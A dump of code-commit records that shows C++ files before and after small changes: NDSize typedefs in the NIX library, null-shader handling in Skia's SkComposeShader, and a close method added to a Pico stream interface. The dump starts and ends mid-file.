operator=(NDSizeBase other) {\n swap(other);\n return *this;\n }\n\n \/\/ safe bool of the future (i.e. C++11)\n explicit operator bool() const {\n return rank > 0;\n }\n\n T& operator[] (const size_t index) {\n const NDSizeBase *this_const = const_cast<const NDSizeBase*>(this);\n return const_cast<T&>(this_const->operator[](index));\n }\n\n\n const T& operator[] (const size_t index) const {\n if (index + 1 > rank) {\n throw std::out_of_range (\"Index out of bounds\");\n }\n return dims[index];\n }\n\n NDSizeBase<T>& operator++() {\n std::for_each(begin(), end(), [](T &val) {\n val++;\n });\n return *this;\n }\n\n\n NDSizeBase<T> operator++(int) {\n NDSizeBase<T> snapshot(*this);\n operator++();\n return snapshot;\n }\n\n\n NDSizeBase<T>& operator+=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] += rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator+=(T val) {\n for (size_t i = 0; i < rank; i++) {\n dims[i] += val;\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator+=(int val) {\n return operator+=(static_cast<T>(val));\n }\n\n\n NDSizeBase<T>& operator--() {\n std::for_each(begin(), end(), [](T &val) {\n val--;\n });\n return *this;\n }\n\n\n NDSizeBase<T> operator--(int) {\n NDSizeBase<T> snapshot(*this);\n operator--();\n return snapshot;\n }\n\n\n NDSizeBase<T>& operator-=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] -= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator-=(T val) {\n for (size_t i = 0; i < rank; i++) {\n dims[i] -= val;\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator-=(int val) {\n return operator-=(static_cast<T>(val));\n }\n\n\n void swap(NDSizeBase &other) {\n using std::swap;\n swap(dims, other.dims);\n rank = other.rank;\n }\n\n\n NDSizeBase<T>& operator*=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] *= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator\/=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] \/= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n size_t size() const { return rank; }\n\n\n size_t nelms() const {\n T product = 1;\n std::for_each(begin(), end(), [&](T val) {\n product *= val;\n });\n \/\/FIXME: check overflow before casting\n return static_cast<size_t>(product);\n }\n\n\n T dot(const NDSizeBase<T> &other) const {\n if(size() != other.size()) {\n throw std::out_of_range (\"Dimensions do not match\"); \/\/fixme: use different exception\n }\n\n T res = 0;\n for (size_t i = 0; i < rank; i++) {\n res += dims[i] * other.dims[i];\n }\n\n return res;\n }\n\n\n T* data() { return dims; }\n\n\n const T* data() const {return dims; }\n\n\n void fill(T value) {\n std::fill_n(dims, rank, value);\n }\n\n\n ~NDSizeBase() {\n delete[] dims;\n }\n\n\n \/\/we are modelling a boost::Collection\n iterator begin() { return dims; }\n\n\n iterator end() { return dims + rank; }\n\n\n const_iterator begin() const { return dims; }\n\n\n const_iterator end() const { return dims + rank; }\n\n\n bool empty() const { return rank == 0; }\n\nprivate:\n\n void allocate() {\n if (rank > 0) {\n dims = new T[rank];\n }\n }\n\n size_t rank;\n T *dims;\n};\n\n\ntemplate<typename T>\nNDSizeBase<T> operator-(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs -= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, T rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator+(rhs, lhs);\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, int rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(int lhs, const NDSizeBase<T> &rhs)\n{\n return operator+(rhs, lhs);\n}\n\ntemplate<typename T>\nNDSizeBase<T> operator*(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs *= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator*(NDSizeBase<T> lhs, T rhs)\n{\n lhs *= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator*(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator*(rhs, lhs);\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs \/= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(NDSizeBase<T> lhs, T rhs)\n{\n lhs \/= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator\/(rhs, lhs);\n}\n\n\ntemplate<typename T>\ninline bool operator==(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size())\n return false;\n\n for (size_t i = 0; i < lhs.size(); i++) {\n if (lhs[i] != rhs[i])\n return false;\n }\n\n return true;\n}\n\n\ntemplate<typename T>\ninline bool operator!=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !operator==(lhs, rhs);\n}\n\n\ntemplate<typename T>\ninline bool operator<(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size()) {\n throw IncompatibleDimensions(\"size must agree to compare\",\n \"NDSizeBase < NDSizeBase \");\n }\n\n const size_t size = lhs.size();\n for (size_t i = 0; i < size; i++) {\n if (lhs[i] >= rhs[i]) {\n return false;\n }\n }\n\n return true;\n}\n\ntemplate<typename T>\ninline bool operator<=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size()) {\n throw IncompatibleDimensions(\"size must agree to compare\",\n \"NDSizeBase < NDSizeBase \");\n }\n\n const size_t size = lhs.size();\n for (size_t i = 0; i < size; i++) {\n if (lhs[i] > rhs[i]) {\n return false;\n }\n }\n\n return true;\n}\n\ntemplate<typename T>\ninline bool operator>(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !(lhs <= rhs);\n}\n\ntemplate<typename T>\ninline bool operator>=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !(lhs < rhs);\n}\n\ntemplate<typename T>\ninline std::ostream& operator<<(std::ostream &os, const NDSizeBase<T> &ndsize)\n{\n os << \"NDSize {\";\n for(size_t i = 0; i < ndsize.size(); i++) {\n if (i != 0) {\n os << \", \";\n }\n\n os << ndsize[i];\n }\n\n os << \"}\\n\";\n return os;\n}\n\n\/* ***** *\/\n\n\/\/Ideally we would use unit64_t (and int64_t) here to directly specify\n\/\/the size we want, but for now we stick with how the hdf5 library\n\/\/defines hsize_t, otherwise we will run into issues when on plaforms\n\/\/ where unit64_t is an incompatible type to the type of hsize_t\n\/\/(e.g. Ubuntu 12.04 LTS Server Edition 64 bit.)\n\ntypedef NDSizeBase<unsigned long long int> NDSize;\n\ntypedef NDSizeBase<long long int> NDSSize;\n\n} \/\/ namespace nix\n\n#endif \/\/ NIX_PSIZE_H\n<commit_msg>NDSize: define ndsize_t and ndssize_t<commit_after>\/\/ Copyright (c) 2013, German Neuroinformatics Node (G-Node)\n\/\/\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted under the terms of the BSD License. See\n\/\/ LICENSE file in the root of the Project.\n\n#ifndef NIX_PSIZE_H\n#define NIX_PSIZE_H\n\n#include <nix\/Platform.hpp>\n#include <nix\/Exception.hpp>\n\n#include <cstdint>\n#include <stdexcept>\n#include <algorithm>\n#include <initializer_list>\n#include <iostream>\n\nnamespace nix {\n\n\/\/Ideally we would use unit64_t (and int64_t) here to directly specify\n\/\/the size we want, but for now we stick with how the hdf5 library\n\/\/defines hsize_t, otherwise we will run into issues when on plaforms\n\/\/ where unit64_t is an incompatible type to the type of hsize_t\n\/\/(e.g. Ubuntu 12.04 LTS Server Edition 64 bit.)\n\ntypedef unsigned long long int ndsize_t;\ntypedef long long int ndssize_t;\n#endif\n\ntemplate<typename T>\nclass NDSizeBase {\n\npublic:\n\n typedef T value_type;\n typedef T *iterator;\n typedef const T *const_iterator;\n typedef T &reference;\n typedef const T const_reference;\n typedef T *pointer;\n typedef size_t difference_type;\n typedef size_t size_type;\n\n NDSizeBase()\n : rank(0), dims(nullptr)\n {\n }\n\n\n explicit NDSizeBase(size_t rank)\n : rank(rank), dims(nullptr)\n {\n allocate();\n }\n\n\n explicit NDSizeBase(size_t rank, T fill_value)\n : rank(rank), dims(nullptr)\n {\n allocate();\n fill(fill_value);\n }\n\n template<typename U>\n NDSizeBase(std::initializer_list<U> args)\n : rank(args.size())\n {\n allocate();\n std::transform(args.begin(), args.end(), dims, [](const U& val) { return static_cast<T>(val);});\n }\n\n \/\/copy\n NDSizeBase(const NDSizeBase &other)\n : rank(other.rank), dims(nullptr)\n {\n allocate();\n std::copy(other.dims, other.dims + rank, dims);\n }\n\n \/\/move (not tested due to: http:\/\/llvm.org\/bugs\/show_bug.cgi?id=12208)\n NDSizeBase(NDSizeBase &&other)\n : rank(other.rank), dims(other.dims)\n {\n other.dims = nullptr;\n other.rank = 0;\n }\n\n \/\/copy and move assignment operator (not tested, see above)\n NDSizeBase& operator=(NDSizeBase other) {\n swap(other);\n return *this;\n }\n\n \/\/ safe bool of the future (i.e. C++11)\n explicit operator bool() const {\n return rank > 0;\n }\n\n T& operator[] (const size_t index) {\n const NDSizeBase *this_const = const_cast<const NDSizeBase*>(this);\n return const_cast<T&>(this_const->operator[](index));\n }\n\n\n const T& operator[] (const size_t index) const {\n if (index + 1 > rank) {\n throw std::out_of_range (\"Index out of bounds\");\n }\n return dims[index];\n }\n\n NDSizeBase<T>& operator++() {\n std::for_each(begin(), end(), [](T &val) {\n val++;\n });\n return *this;\n }\n\n\n NDSizeBase<T> operator++(int) {\n NDSizeBase<T> snapshot(*this);\n operator++();\n return snapshot;\n }\n\n\n NDSizeBase<T>& operator+=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] += rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator+=(T val) {\n for (size_t i = 0; i < rank; i++) {\n dims[i] += val;\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator+=(int val) {\n return operator+=(static_cast<T>(val));\n }\n\n\n NDSizeBase<T>& operator--() {\n std::for_each(begin(), end(), [](T &val) {\n val--;\n });\n return *this;\n }\n\n\n NDSizeBase<T> operator--(int) {\n NDSizeBase<T> snapshot(*this);\n operator--();\n return snapshot;\n }\n\n\n NDSizeBase<T>& operator-=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] -= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator-=(T val) {\n for (size_t i = 0; i < rank; i++) {\n dims[i] -= val;\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator-=(int val) {\n return operator-=(static_cast<T>(val));\n }\n\n\n void swap(NDSizeBase &other) {\n using std::swap;\n swap(dims, other.dims);\n rank = other.rank;\n }\n\n\n NDSizeBase<T>& operator*=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] *= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n NDSizeBase<T>& operator\/=(const NDSizeBase<T> &rhs) {\n if(size() != rhs.size()) {\n throw std::out_of_range (\"\"); \/\/fixme: use different exception\n }\n\n for (size_t i = 0; i < rank; i++) {\n dims[i] \/= rhs.dims[i];\n }\n\n return *this;\n }\n\n\n size_t size() const { return rank; }\n\n\n size_t nelms() const {\n T product = 1;\n std::for_each(begin(), end(), [&](T val) {\n product *= val;\n });\n \/\/FIXME: check overflow before casting\n return static_cast<size_t>(product);\n }\n\n\n T dot(const NDSizeBase<T> &other) const {\n if(size() != other.size()) {\n throw std::out_of_range (\"Dimensions do not match\"); \/\/fixme: use different exception\n }\n\n T res = 0;\n for (size_t i = 0; i < rank; i++) {\n res += dims[i] * other.dims[i];\n }\n\n return res;\n }\n\n\n T* data() { return dims; }\n\n\n const T* data() const {return dims; }\n\n\n void fill(T value) {\n std::fill_n(dims, rank, value);\n }\n\n\n ~NDSizeBase() {\n delete[] dims;\n }\n\n\n \/\/we are modelling a boost::Collection\n iterator begin() { return dims; }\n\n\n iterator end() { return dims + rank; }\n\n\n const_iterator begin() const { return dims; }\n\n\n const_iterator end() const { return dims + rank; }\n\n\n bool empty() const { return rank == 0; }\n\nprivate:\n\n void allocate() {\n if (rank > 0) {\n dims = new T[rank];\n }\n }\n\n size_t rank;\n T *dims;\n};\n\n\ntemplate<typename T>\nNDSizeBase<T> operator-(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs -= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, T rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator+(rhs, lhs);\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(NDSizeBase<T> lhs, int rhs)\n{\n lhs += rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator+(int lhs, const NDSizeBase<T> &rhs)\n{\n return operator+(rhs, lhs);\n}\n\ntemplate<typename T>\nNDSizeBase<T> operator*(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs *= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator*(NDSizeBase<T> lhs, T rhs)\n{\n lhs *= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator*(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator*(rhs, lhs);\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(NDSizeBase<T> lhs, const NDSizeBase<T> &rhs)\n{\n lhs \/= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(NDSizeBase<T> lhs, T rhs)\n{\n lhs \/= rhs;\n return lhs;\n}\n\n\ntemplate<typename T>\nNDSizeBase<T> operator\/(T lhs, const NDSizeBase<T> &rhs)\n{\n return operator\/(rhs, lhs);\n}\n\n\ntemplate<typename T>\ninline bool operator==(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size())\n return false;\n\n for (size_t i = 0; i < lhs.size(); i++) {\n if (lhs[i] != rhs[i])\n return false;\n }\n\n return true;\n}\n\n\ntemplate<typename T>\ninline bool operator!=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !operator==(lhs, rhs);\n}\n\n\ntemplate<typename T>\ninline bool operator<(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size()) {\n throw IncompatibleDimensions(\"size must agree to compare\",\n \"NDSizeBase < NDSizeBase \");\n }\n\n const size_t size = lhs.size();\n for (size_t i = 0; i < size; i++) {\n if (lhs[i] >= rhs[i]) {\n return false;\n }\n }\n\n return true;\n}\n\ntemplate<typename T>\ninline bool operator<=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n if (lhs.size() != rhs.size()) {\n throw IncompatibleDimensions(\"size must agree to compare\",\n \"NDSizeBase < NDSizeBase \");\n }\n\n const size_t size = lhs.size();\n for (size_t i = 0; i < size; i++) {\n if (lhs[i] > rhs[i]) {\n return false;\n }\n }\n\n return true;\n}\n\ntemplate<typename T>\ninline bool operator>(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !(lhs <= rhs);\n}\n\ntemplate<typename T>\ninline bool operator>=(const NDSizeBase<T> &lhs, const NDSizeBase<T> &rhs)\n{\n return !(lhs < rhs);\n}\n\ntemplate<typename T>\ninline std::ostream& operator<<(std::ostream &os, const NDSizeBase<T> &ndsize)\n{\n os << \"NDSize {\";\n for(size_t i = 0; i < ndsize.size(); i++) {\n if (i != 0) {\n os << \", \";\n }\n\n os << ndsize[i];\n }\n\n os << \"}\\n\";\n return os;\n}\n\n\/* ***** *\/\n\n\/\/Ideally we would use unit64_t (and int64_t) here to directly specify\n\/\/the size we want, but for now we stick with how the hdf5 library\n\/\/defines hsize_t, otherwise we will run into issues when on plaforms\n\/\/ where unit64_t is an incompatible type to the type of hsize_t\n\/\/(e.g. Ubuntu 12.04 LTS Server Edition 64 bit.)\n\ntypedef NDSizeBase<unsigned long long int> NDSize;\n\ntypedef NDSizeBase<long long int> NDSSize;\n\n} \/\/ namespace nix\n\n#endif \/\/ NIX_PSIZE_H\n<|endoftext|>"} {"text":"<commit_before>\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"SkComposeShader.h\"\n#include \"SkColorFilter.h\"\n#include \"SkColorPriv.h\"\n#include \"SkXfermode.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkComposeShader::SkComposeShader(SkShader* sA, SkShader* sB, SkXfermode* mode) {\n fShaderA = sA; sA->ref();\n fShaderB = sB; sB->ref();\n \/\/ mode may be null\n fMode = mode;\n SkSafeRef(mode);\n}\n\nSkComposeShader::SkComposeShader(SkFlattenableReadBuffer& buffer) :\n INHERITED(buffer) {\n fShaderA = static_cast<SkShader*>(buffer.readFlattenable());\n fShaderB = static_cast<SkShader*>(buffer.readFlattenable());\n fMode = static_cast<SkXfermode*>(buffer.readFlattenable());\n}\n\nSkComposeShader::~SkComposeShader() {\n SkSafeUnref(fMode);\n fShaderB->unref();\n fShaderA->unref();\n}\n\nvoid SkComposeShader::beginSession() {\n this->INHERITED::beginSession();\n fShaderA->beginSession();\n fShaderB->beginSession();\n}\n\nvoid SkComposeShader::endSession() {\n fShaderA->endSession();\n fShaderB->endSession();\n this->INHERITED::endSession();\n}\n\nclass SkAutoAlphaRestore {\npublic:\n SkAutoAlphaRestore(SkPaint* paint, uint8_t newAlpha) {\n fAlpha = paint->getAlpha();\n fPaint = paint;\n paint->setAlpha(newAlpha);\n }\n\n ~SkAutoAlphaRestore() {\n fPaint->setAlpha(fAlpha);\n }\nprivate:\n SkPaint* fPaint;\n uint8_t fAlpha;\n};\n\nvoid SkComposeShader::flatten(SkFlattenableWriteBuffer& buffer) {\n this->INHERITED::flatten(buffer);\n buffer.writeFlattenable(fShaderA);\n buffer.writeFlattenable(fShaderB);\n buffer.writeFlattenable(fMode);\n}\n\n\/* We call setContext on our two worker shaders. However, we\n always let them see opaque alpha, and if the paint really\n is translucent, then we apply that after the fact.\n*\/\nbool SkComposeShader::setContext(const SkBitmap& device,\n const SkPaint& paint,\n const SkMatrix& matrix) {\n if (!this->INHERITED::setContext(device, paint, matrix)) {\n return false;\n }\n\n \/\/ we preconcat our localMatrix (if any) with the device matrix\n \/\/ before calling our sub-shaders\n\n SkMatrix tmpM;\n\n (void)this->getLocalMatrix(&tmpM);\n tmpM.setConcat(matrix, tmpM);\n\n SkAutoAlphaRestore restore(const_cast<SkPaint*>(&paint), 0xFF);\n\n return fShaderA->setContext(device, paint, tmpM) &&\n fShaderB->setContext(device, paint, tmpM);\n}\n\n\/\/ larger is better (fewer times we have to loop), but we shouldn't\n\/\/ take up too much stack-space (each element is 4 bytes)\n#define TMP_COLOR_COUNT 64\n\nvoid SkComposeShader::shadeSpan(int x, int y, SkPMColor result[], int count) {\n SkShader* shaderA = fShaderA;\n SkShader* shaderB = fShaderB;\n SkXfermode* mode = fMode;\n unsigned scale = SkAlpha255To256(this->getPaintAlpha());\n\n SkPMColor tmp[TMP_COLOR_COUNT];\n\n if (NULL == mode) { \/\/ implied SRC_OVER\n \/\/ TODO: when we have a good test-case, should use SkBlitRow::Proc32\n \/\/ for these loops\n do {\n int n = count;\n if (n > TMP_COLOR_COUNT) {\n n = TMP_COLOR_COUNT;\n }\n\n shaderA->shadeSpan(x, y, result, n);\n shaderB->shadeSpan(x, y, tmp, n);\n\n if (256 == scale) {\n for (int i = 0; i < n; i++) {\n result[i] = SkPMSrcOver(tmp[i], result[i]);\n }\n } else {\n for (int i = 0; i < n; i++) {\n result[i] = SkAlphaMulQ(SkPMSrcOver(tmp[i], result[i]),\n scale);\n }\n }\n\n result += n;\n x += n;\n count -= n;\n } while (count > 0);\n } else { \/\/ use mode for the composition\n do {\n int n = count;\n if (n > TMP_COLOR_COUNT) {\n n = TMP_COLOR_COUNT;\n }\n\n shaderA->shadeSpan(x, y, result, n);\n shaderB->shadeSpan(x, y, tmp, n);\n mode->xfer32(result, tmp, n, NULL);\n\n if (256 == scale) {\n for (int i = 0; i < n; i++) {\n result[i] = SkAlphaMulQ(result[i], scale);\n }\n }\n\n result += n;\n x += n;\n count -= n;\n } while (count > 0);\n }\n}\n\n<commit_msg>handle if unflattening returned a null shader<commit_after>\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"SkComposeShader.h\"\n#include \"SkColorFilter.h\"\n#include \"SkColorPriv.h\"\n#include \"SkColorShader.h\"\n#include \"SkXfermode.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkComposeShader::SkComposeShader(SkShader* sA, SkShader* sB, SkXfermode* mode) {\n fShaderA = sA; sA->ref();\n fShaderB = sB; sB->ref();\n \/\/ mode may be null\n fMode = mode;\n SkSafeRef(mode);\n}\n\nSkComposeShader::SkComposeShader(SkFlattenableReadBuffer& buffer) :\n INHERITED(buffer) {\n fShaderA = static_cast<SkShader*>(buffer.readFlattenable());\n if (NULL == fShaderA) {\n fShaderA = SkNEW_ARGS(SkColorShader, (0));\n }\n fShaderB = static_cast<SkShader*>(buffer.readFlattenable());\n if (NULL == fShaderB) {\n fShaderB = SkNEW_ARGS(SkColorShader, (0));\n }\n fMode = static_cast<SkXfermode*>(buffer.readFlattenable());\n}\n\nSkComposeShader::~SkComposeShader() {\n SkSafeUnref(fMode);\n fShaderB->unref();\n fShaderA->unref();\n}\n\nvoid SkComposeShader::beginSession() {\n this->INHERITED::beginSession();\n fShaderA->beginSession();\n fShaderB->beginSession();\n}\n\nvoid SkComposeShader::endSession() {\n fShaderA->endSession();\n fShaderB->endSession();\n this->INHERITED::endSession();\n}\n\nclass SkAutoAlphaRestore {\npublic:\n SkAutoAlphaRestore(SkPaint* paint, uint8_t newAlpha) {\n fAlpha = paint->getAlpha();\n fPaint = paint;\n paint->setAlpha(newAlpha);\n }\n\n ~SkAutoAlphaRestore() {\n fPaint->setAlpha(fAlpha);\n }\nprivate:\n SkPaint* fPaint;\n uint8_t fAlpha;\n};\n\nvoid SkComposeShader::flatten(SkFlattenableWriteBuffer& buffer) {\n this->INHERITED::flatten(buffer);\n buffer.writeFlattenable(fShaderA);\n buffer.writeFlattenable(fShaderB);\n buffer.writeFlattenable(fMode);\n}\n\n\/* We call setContext on our two worker shaders. However, we\n always let them see opaque alpha, and if the paint really\n is translucent, then we apply that after the fact.\n*\/\nbool SkComposeShader::setContext(const SkBitmap& device,\n const SkPaint& paint,\n const SkMatrix& matrix) {\n if (!this->INHERITED::setContext(device, paint, matrix)) {\n return false;\n }\n\n \/\/ we preconcat our localMatrix (if any) with the device matrix\n \/\/ before calling our sub-shaders\n\n SkMatrix tmpM;\n\n (void)this->getLocalMatrix(&tmpM);\n tmpM.setConcat(matrix, tmpM);\n\n SkAutoAlphaRestore restore(const_cast<SkPaint*>(&paint), 0xFF);\n\n return fShaderA->setContext(device, paint, tmpM) &&\n fShaderB->setContext(device, paint, tmpM);\n}\n\n\/\/ larger is better (fewer times we have to loop), but we shouldn't\n\/\/ take up too much stack-space (each element is 4 bytes)\n#define TMP_COLOR_COUNT 64\n\nvoid SkComposeShader::shadeSpan(int x, int y, SkPMColor result[], int count) {\n SkShader* shaderA = fShaderA;\n SkShader* shaderB = fShaderB;\n SkXfermode* mode = fMode;\n unsigned scale = SkAlpha255To256(this->getPaintAlpha());\n\n SkPMColor tmp[TMP_COLOR_COUNT];\n\n if (NULL == mode) { \/\/ implied SRC_OVER\n \/\/ TODO: when we have a good test-case, should use SkBlitRow::Proc32\n \/\/ for these loops\n do {\n int n = count;\n if (n > TMP_COLOR_COUNT) {\n n = TMP_COLOR_COUNT;\n }\n\n shaderA->shadeSpan(x, y, result, n);\n shaderB->shadeSpan(x, y, tmp, n);\n\n if (256 == scale) {\n for (int i = 0; i < n; i++) {\n result[i] = SkPMSrcOver(tmp[i], result[i]);\n }\n } else {\n for (int i = 0; i < n; i++) {\n result[i] = SkAlphaMulQ(SkPMSrcOver(tmp[i], result[i]),\n scale);\n }\n }\n\n result += n;\n x += n;\n count -= n;\n } while (count > 0);\n } else { \/\/ use mode for the composition\n do {\n int n = count;\n if (n > TMP_COLOR_COUNT) {\n n = TMP_COLOR_COUNT;\n }\n\n shaderA->shadeSpan(x, y, result, n);\n shaderB->shadeSpan(x, y, tmp, n);\n mode->xfer32(result, tmp, n, NULL);\n\n if (256 == scale) {\n for (int i = 0; i < n; i++) {\n result[i] = SkAlphaMulQ(result[i], scale);\n }\n }\n\n result += n;\n x += n;\n count -= n;\n } while (count > 0);\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#ifndef PICOLIB_STREAM_H_\n#define PICOLIB_STREAM_H_\n\nnamespace Pico {\n\n class IO\n {\n public:\n VIRTUAL_METHOD IO& in(void *, size_t) = 0;\n VIRTUAL_METHOD IO& out(const void *, size_t) = 0;\n\n METHOD IO& read(void *ptr, size_t count) {\n return in(ptr, count);\n }\n\n METHOD IO& write(const void *ptr, size_t count) {\n return out(ptr, count);\n }\n\n METHOD IO& read(Memory::Buffer const& buffer) {\n return read(buffer.pointer(), buffer.size());\n }\n\n METHOD IO& write(Memory::Buffer const& buffer) { \n return write(buffer.pointer(), buffer.size());\n }\n\n METHOD friend IO& operator <<(IO &io, Memory::Buffer const& buffer)\n {\n return io.write(buffer);\n }\n\n METHOD friend IO& operator >>(IO &io, Memory::Buffer const& buffer)\n {\n return io.read(buffer);\n }\n\n METHOD friend IO& operator <<(Memory::Buffer const& buffer, IO &io)\n {\n return io >> buffer;\n }\n\n METHOD friend IO& operator >>(Memory::Buffer const& buffer, IO &io)\n {\n return io << buffer;\n }\n };\n\n class Stream : public IO\n {\n public:\n FUNCTION Stream standard_input();\n FUNCTION Stream standard_output();\n FUNCTION Stream standard_error();\n\n CONSTRUCTOR Stream() = default;\n CONSTRUCTOR Stream(int fd) : fd(fd) {}\n\n METHOD Stream& in(void *ptr, size_t count);\n METHOD Stream& out(const void *ptr, size_t count);\n\n METHOD Stream duplicate();\n METHOD void replace(Stream const&);\n METHOD int file_desc() const { return fd; }\n METHOD int close();\n\n protected:\n int fd = -1;\n };\n\n template <class Rx, class Tx = Rx>\n class BiStream : public IO\n {\n public:\n CONSTRUCTOR BiStream() = default;\n CONSTRUCTOR BiStream(Rx rx, Tx tx) : rx(rx), tx(tx) {}\n CONSTRUCTOR BiStream(int rfd, int wfd) : rx(Stream(rfd)), tx(Stream(wfd)) {}\n\n METHOD BiStream& in(void *ptr, size_t count) {\n rx.read(ptr, count);\n return *this;\n }\n\n METHOD BiStream& out(const void *ptr, size_t count) {\n tx.write(ptr, count);\n return *this;\n }\n\n protected:\n Rx rx;\n Tx tx;\n };\n}\n\n#endif\n<commit_msg>pico\/stream: close method<commit_after>#ifndef PICOLIB_STREAM_H_\n#define PICOLIB_STREAM_H_\n\nnamespace Pico {\n\n class IO\n {\n public:\n VIRTUAL_METHOD IO& in(void *, size_t) = 0;\n VIRTUAL_METHOD IO& out(const void *, size_t) = 0;\n VIRTUAL_METHOD int close() = 0;\n\n METHOD IO& read(void *ptr, size_t count) {\n return in(ptr, count);\n }\n\n METHOD IO& write(const void *ptr, size_t count) 